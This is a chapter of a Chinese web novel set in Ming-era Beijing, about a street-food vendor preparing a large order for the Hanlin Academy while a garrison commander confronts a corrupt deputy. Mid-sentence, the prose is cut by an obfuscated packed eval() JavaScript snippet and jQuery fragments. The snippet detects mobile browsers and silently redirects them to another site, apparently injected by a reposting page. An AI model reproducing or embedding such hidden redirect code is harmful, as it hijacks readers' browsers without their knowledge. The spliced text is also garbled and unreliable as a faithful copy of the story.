23. 第 23 章

作品:《大明小食记

    第23章


    同知陪着卫指挥使离开校场。


    一路上,他都暗自留意着身旁的指挥使,见对方手中仍提着那个不起眼的布兜,颇有眼色道:“大人,此等粗鄙物件,还是让下官帮您处置了吧。”


    说罢就要伸手去接。


    哪知下一秒,一阵虚影子从眼前划过,等同知反应过来时,布兜已经从卫指挥使的一只手,转移到另外一直手中,速度快的几乎让人怀疑自己的眼睛。


    “咳,不用了。”


    见此情形,同知心里莫名升起一丝古怪。


    只是未待他想明白这古怪从何而来,那边,卫指挥使已经再次开口:“本官记得,朝廷早有定例,若普通军户身故,其妻孩可领一年抚恤粮,可方才那姜姓幼军却说其家中断粮,此时你可知情?”


    话及后面,语气已然带上了高位者的威严。


    同知瞬间顾不得其他,额头冒出冷汗。


    这事……他还真的知情。


    只是并未将其看做什么大事。每年卫所都有军户身故,若卫所粮食充裕,或许还能拨下一些抚恤;若是不足,自然是先顾着活人,至于死人的那份,要么往后推,要么干脆私扣下来。


    那些军户的家眷多半是平头百姓,即便心存疑虑,也往往不敢声张,甚至还会在自己身上找缘由。


    所以当这次姜家出事,底下的人来请示时,同知便也顺水推舟,将抚恤粮全数截留了下来。


    但他肯定不能这样承认。


    略一思考,脸上露出羞愧的神色:“回大人,今年卫所中的确有数户需要抚恤之户,下官已命着人一一核实情况,但因为数量太多,耽误了一些日子……不过还请大人放心,本月之内,下官定会将米粮悉数发放下去。”


    卫指挥使深深看了他一眼,也不知信没信:“既如此,便加紧些去办,军户们为国效力,千万不要寒了大家的心。”


    “下官明白。”


    “行了,你下去吧。”


    卫指挥使摆摆手,不愿再多言。


    于是同知姿态越发恭敬,半躬着身子慢慢后退,直到退出帐外,方才直起腰背,他目光沉沉看向落下门帘,不知是否错觉,隐约听到了一阵窸窸窣窣的微响。


    晚间,姜至喜便从姜洪那儿听说了卫所发生的事情。


    姜洪魁梧的身材圪蹴在板凳上,黑熊似的半大小伙,硬是委屈得跟鹌鹑似的:“那栗子我一颗都没尝着,全让指挥使大人拿走了,早知道这样就不该带去,白费了喜姐儿你一番辛苦。”


    姜至喜从惊讶中回过神,闻言不由得有些好笑:“吃食做出来就是给人吃的,何况是大哥的同僚、上官,就算大哥不提,我也要让大哥带些去分一分。”


    顿了顿,“不过若大哥还想吃,改日我把剩下的栗子都炒了便是,只是……大哥把摆摊的事情告诉指挥使大人后,大人居然没有怪罪吗?”


    姜洪挠了挠头,这事他至今也没太想明白。


    “其实我当时都盘算好了,一人做事一人当,要是大人怪罪,我就说是自己的主意,跟你们没有关系,可没想到大人根本没有怪罪,反而吃了几颗糖炒栗子,还问我是谁的。”


    事实上,姜洪心里一直偷偷藏着个念头没敢说出口。


    他总觉得指挥使大人多半是馋他的糖炒栗子。


    这边,他小声腹诽,姜至喜却是暗暗松了口气。


    如今的姜家缺了顶梁柱,表面看着尚可,实际如水中浮萍一般无依无靠,而且与薛总旗一系的梁子已经结下,没有办法改变,近来又不知何处惹了锦衣卫注目。


    原本,姜至喜还担心之后的路怕是步步维艰,现在倒不是那么怕了。


    这位卫指挥使看来并沽名钓誉之辈。


    无论是为了声名故作姿态,还是真心体恤军户,至少明面上,姜家不用再任人欺凌。


    心底有了保证,连日紧绷的神经也松散了几分,姜至喜终于能静下来,将心思放到接下来的要紧事上。


    距离翰林院约定的日子只剩三天,小食摊的生意不能耽搁,她依然每日清晨出摊,待备好的食材卖光,便收拾东西回家,往往刚好赶上家中午膳。


    若她得闲,会亲手做些新鲜吃食,大多时候,还是珍姐儿在灶间忙活。这个家里,没有谁偷懒,人人都各司其职,日子虽紧,却过得暖烘烘的。


    时间就在早起摆摊,备菜,休息中,翩然而过。


    很快,便到了约定的前一日。


    百份煎饼果子不是小数量,姜至喜猜测当天大概会很忙碌,所以晨间出摊时,便同常来光顾的几位熟客打了招呼,说自己要歇息一日。


    一听她明日不来,早已习惯每天来一份煎饼果子配碗胡辣汤的食客们天都塌了。


    “哎呀,我娘这几日不开灶,就指望你这口填饱肚子呢!”


    “家中表兄嫌弃京师食物不如江南,我本想带他过来尝尝,好臊他的脸,这下可如何是好!”


    有人商量:“小娘子,时间再紧也不差这一会儿,就算少做些也成啊。”


    “就是就是,哪有摆摊不爱挣钱的?本公子最不差的就是钱,这银子你真不赚吗?”


    也有人认了命:“哎,既然如此,再给我做两个煎饼果子,我留着明日吃。”


    更有甚者,张嘴就是:“我一位挚友明日快要不行了,临去之前,最想念的就是这口香软的煎饼果子。”


    姜至喜:“……”


    见过贷款买房的,没见过贷款去世的。


    你可真是一位“挚友”啊。


    反倒是翰林院的几位官员,听到自家学正竟预定了姜记吃食,一个个兴奋不已。


    “小娘子,你哪日去我们那儿?”


    “届时可会做些别的?胡辣汤不做也罢,但煎饼果子一定要做!”


    “去去去,我就爱那口胡辣汤,小娘子莫听他的,胡辣汤万万不能少!”


    那副挑挑三拣四、得意洋洋的模样,顿时惹恼了周围其他食客。


    好哇,他们想吃还吃不上,这些人倒是挑起花样来了。


    “嘿!你们几人从哪儿来的,做人别太贪心,姜小娘子只有一个人,你们张口就订百来十个,是想把姜小娘子给累死嘛!”


    “就是啊,还是我们善解人意,断不会让姜小娘子为难。”


    翰林院的人一听,也不高兴了。


    他们学正好不容易才邀到姜至喜,若叫这些人给搅黄了可怎么办?


    能进翰林院的,都是在科举的题海中过五关斩六将的,岂会害怕这点儿威胁?当即嘴皮子一碰,满嘴之乎者也便甩了出来,双方你来我往,争奇斗胜,竟是直接在摊子前辩论起来。


    姜至喜啼笑皆非。


    最终,还是由她出言,承诺回来之后给大家推出新吃食,这才平息了一场“纷争”。


    将队伍最后一位客人的煎饼果子打包好,日头已经接近正午。


    姜至喜和过来接人的姜洪一同回到家,简单用过晌饭后,便开始清点明日所需要的食材来。


    做一百份煎饼果子,肯定不能准备一百份的食材,需得宽备窄用,除开确切定数,总得多留出来些余量,这样才能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027594|193744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以防临时出现什么变故。


    如此一来,原先的东西肯定不够,大半都要现卖,所以下午的时候,姜至喜又挎上竹篮出门采购。


    内城有许多散集,但这次采买的东西实在有点儿多,她索性多走了一个时辰,直接去了大明门的朝前市。


    不愧是京师贸易最繁华的的商业中心,姜至喜到达时已近正午,集市里依旧人头攒动,行立于街道尽头,放眼望去,一座座棚架紧贴着朱红色官署外墙,如锦缎似的尽数展开。


    店铺摊位的种类也极为丰富。


    靠近大明门的区域,主要售卖笔墨砚台、古董书籍等雅物,越往南靠近正阳门,摊位就变得杂乱,牲口、建材、小吃摊混迹其中,此外还有珠宝店、粮食铺子,以及新鲜的禽肉鲜鱼等专业市场。


    姜至喜看得眼花缭乱,若不是今天有事要办,她怎么也得留下来好好逛一逛。


    恋恋不舍收回目光,她转身走进粮食铺子,置办煎饼果子所需要的食材。


    酱用的多,这次照样多买了三瓶,准备带回去存着慢慢用。


    生菜她打算从随身菜园取,一来用来升级菜园,二来她发现,或许是经过几千年的培育选种,老家菜园里种出来的蔬菜,比大明的蔬菜味道更加美味。


    此外还零零散散购入了一些日常家用,集市有几处卖牲畜的摊位,她忽然想起上次的那位老伯,也不知出了什么事,谈好的羊奶一直没有送来。


    姜至喜不愿意恶意揣测他人,只希望对方真的有事耽搁。


    而且之前买羊奶,是因为手头拮据,可这次如果能拿下翰林院的生意,四两银子到手,足够买一头母羊。


    后面东西买的太多,一个人拿不下,姜至喜掏出几个铜板雇了个板车,将大兜小兜全部放到车上运了回去。


    奔波半日,回家之后连片刻未来得及休息,又开始匆匆忙忙开始明日的备菜。


    腊月初十。


    姜至喜起了个大早。


    衣服尚未绑紧,先摸黑去灶上看锅。大骨头是前一天劈的,明火熬煮了一夜,掀开锅盖,氤氲的蒸气争先恐后涌出,填满了整个厨房,如临仙境。


    用手作扇子扇动,眼前的视线才稍显清晰,低头一看,只见深口大锅中,浓白的汤正咕嘟咕嘟冒着气泡,鲜美的香气四处飘溢。


    姜至喜脸上露出笑意。


    成了!


    自从做生意以来,第一次没有在早上出摊,饶是如此,一家四口除了小妹只会趴在床上蹬腿,其余三人都忙得紧锣密鼓。


    巳时初,一切准备就绪。


    姜至喜把过滤后的老汤倒入陶罐,陶罐是从集市上买的,坯壁很厚实,用棉布在外面裹一圈,扎紧麻绳,确保一丝热气也不漏出。


    那边,姜洪已经把摊车检查了好几遍。车轮、挡板、两个便携小炉,一小摞租借的粗瓷大碗,里里外外擦得发亮。


    “喜姐儿,走吧。”


    姜至喜点点头,转身叮嘱珍姐儿:“我和大哥中午不一定能赶回来,记得把门锁上,厨房锅里留了点儿汤底,要是饿了,就把剩下的菜放进去煮一煮,很简单的。”


    珍姐儿听得仔细,末了拍拍胸膛:“二姐放心,我记住了。”


    别看着珍姐儿年岁小,却是个伶俐聪明的,姜至喜还是信得过她的,放心同大哥一起出门。


    南鼓巷靠北临着城墙,连日的太阳光照不进来,数日过去巷子里积雪未化,车轮从上面碾过,发出“咯吱咯吱”的轻响。


    走了约莫一个半时辰的步伐,腿脚都有些酸了,二人终于到达翰林院。